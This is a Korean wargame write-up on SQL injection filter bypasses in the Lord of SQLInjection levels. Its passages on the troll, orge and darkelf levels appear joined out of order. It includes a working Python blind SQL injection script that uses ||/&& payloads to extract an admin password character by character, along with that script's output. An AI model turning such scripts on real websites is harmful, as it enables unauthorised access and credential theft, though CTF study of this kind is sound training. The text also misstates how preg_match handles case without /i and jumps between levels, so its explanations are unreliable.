어이없어 보여도, 중요한 내용을 담고 있다. 위 php에서 필터 우회로 사용되는 preg_match는 /i옵션이 없으면 대소자를 구별하지 않는다. 따라서 두 번째 preg_match인 /admin/은 Admin이나 ADMIN으로 실행을 안 시킬 수 있다. 또한 DB가 대소자를 구분하지 않으니 금상첨화이다.
이렇게 트롤을 해치운 우리의 다음 목적지는 이름도 무서운 흡혈귀를 만나러 갈 것이다. 이번 문제가 쉬웠다고 생각해도 안일함을 가지지 않길 바란다. 의외로 DB나 코드의 특성을 알아야만 풀 수 있는 문제이다.(필자가 이걸몰라서 엄청 헤매었었다.)
import string
from requests import get
if __name__=="__main__" :
url = ## orge 문제의 url ##
length = 0
cookie = dict(PHPSESSID="## 자신의 PHPSESSID ##")
letters = string.digits + string.ascii_letters
password = ''
print("### find for passsword length ###")
while(True):
param = "?pw=1%27%20||%20id=%27admin%27%20%26%26%20length(pw)="+str(length)+"--%20;"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("Hello admin")>=0) :
print("find password length : "+str(length))
break
print(str(length)+" is wrong length")
length+=1
print("### find for real password ##")
for i in range(1,length+1) :
for a in letters :
param = "?pw=1%27%20%7C%7C%20id=%27admin%27%20%26%26%20ascii(substr(pw,"+str(i)+",1))="+str(ord(a))+"--%20;"
new_url = url+param
rec=get(new_url,cookies=cookie)
if(rec.text.find("Hello admin")>=0) :
print("find password for location "+str(i)+" is : "+a)
password += a
break
print("the answer : "+password)
pw의 길이, 실제 pw를 알아내었으며, or대신 파이프(||)를 사용했다. Orc와 동일하기에 자세한 설명은 생략한다. 코드의 실행결과는 다음과 같다.
### find for passsword length###
0 is wrong length
1 is wrong length
2 is wrong length
3 is wrong length
4 is wrong length
5 is wrong length
6 is wrong length
7 is wrong length
find password length : 8
###find for real password###
find password for location 1 is : 7
find password for location 2 is : b
find password for location 3 is : 7
find password for location 4 is : 5
find password for location 5 is : 1
find password for location 6 is : a
find password for location 7 is : e
find password for location 8 is : c
the answer : 7b751aec
프로그래밍 언어를 공부한 사람은 알겠지만 문법적으로 or와 and를 의미하는 기호가 있다. 바로 파이프(||)와 앤드(&&)이다. DB 또한 이 연산자들을 논리 연산자로 받아들이기에 이 연산자를 url encode 해서 요청하면 해결할 수 있다.
1. & : AND기호, urlencode %26 값을 가진다.
2. | : OR기호, url encode % 7C값을 가진다.
이렇게 저번시간 Wolfman과 이번 시간 Darkelf를 상대하며 우회 기법 중 몇 가지를 알아보았다. 다음 만남 볼 몬스터는 우리의 비장의 무기인 Blind SQL Injection이 필요하다. 저번에 내용을 충분히 숙지한 사람은 가벼운 마음으로 다음 관문에서 만나도록 하자